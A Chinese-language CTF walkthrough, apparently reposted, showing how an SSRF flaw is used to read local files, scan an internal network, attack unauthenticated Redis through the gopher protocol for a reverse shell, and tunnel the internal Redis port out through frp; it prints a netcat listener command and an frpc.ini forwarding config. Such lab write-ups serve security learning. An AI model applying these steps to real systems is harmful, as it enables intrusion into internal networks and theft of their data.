手把手带你从SSRF打入内网

admin 2023年2月13日10:05:08评论114 views字数 1377阅读4分35秒阅读模式

手把手带你从SSRF打入内网

categories: CTF tags: [ssrf,gopher,redis未授权,frp]

date: 2023-02-08 23:31:00

解题过程

能够对外发起网络请求的地方,就可能存在 SSRF。首先看下目标站点的功能,获取站点快照:

手把手带你从SSRF打入内网

SSRF 获取本地信息

既然当前站点存在 SSRF 的话,我们可以尝试配合 file 协议来读取本地的文件信息file:///flag

成功读取到了本地的flag1

手把手带你从SSRF打入内网

读取 file:///etc/hosts

file:///etc/hosts 的快照如下:
127.0.0.1 localhost::1 localhost ip6-localhost ip6-loopbackfe00::0 ip6-localnetff00::0 ip6-mcastprefixff02::1 ip6-allnodesff02::2 ip6-allrouters172.19.240.5 fa263879228e

可以判断当前机器的内网地址为 172.19.240.5,那么接下来就可以对这个内网资产段进行信息收集了。

权限高的情况下还可以尝试读取 /proc/net/arp 或者 /etc/network/interfaces 来判断当前机器的网络情况

SSRF 探测内网端口

使用burp 载入payload 爆破内网ip和端口,发现172.19.240.7 存在redis服务,应该是flag的内网机

手把手带你从SSRF打入内网

SSRF 之命令执行

我们无法使用使用 SSRF 漏洞通过 HTTP 协议来传递 POST 数据,这种情况下一般就得利用 gopher 协议来发起对内网应用的 POST 请求了,gopher 的基本请求格式如下:

手把手带你从SSRF打入内网

gopher 协议是一个古老且强大的协议,从请求格式可以看出来,可以传递最底层的 TCP 数据流,因为 HTTP 协议也是属于 TCP 数据层的,所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。

首先来抓取正常情况下 POST 请求的数据包,删除掉 HTTP 请求的这一行:

Accept-Encoding: gzip, deflate

如果不删除的话,打出的 SSRF 请求会乱码,因为被两次 gzip 编码了。

手把手带你从SSRF打入内网

两次 URL 编码后的数据就最终的 TCP 数据流,最终 SSRF 完整的攻击请求的 POST 数据包如下:

手把手带你从SSRF打入内网

SSRF+Redis getshell 的gopher脚本在github上了 脚本https://github.com/xmsec/redis-ssrf 修改反弹shell的ip和端口,修改内网存在redis未授权的ip 和 端口

手把手带你从SSRF打入内网

    生成payload后 ,打入ssrf的位置

手把手带你从SSRF打入内网

没有报错,过一会就会有shell 反弹到vps上。 监听端口的命令

nc -lvvp 86

执行 cat /flag 得到flag3.

拿到shell之后,就是读取redis数据库中的flag2了,vps执行frps,靶机中上传frpc 和 frpc.ini ,进行端口转发。

 #frpc.ini    [common]    server_addr = vpsip    server_port = 7000
[redis] type = tcp local_ip = 172.19.240.7 local_port = 6379 remote_port = 40055

端口转发之后,用redis客户端工具 连接vpsip:40055,就可以看到flag2


原文始发于微信公众号(靶机狂魔):手把手带你从SSRF打入内网

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月13日10:05:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   手把手带你从SSRF打入内网https://cn-sec.com/archives/1550700.html

发表评论

匿名网友 填写信息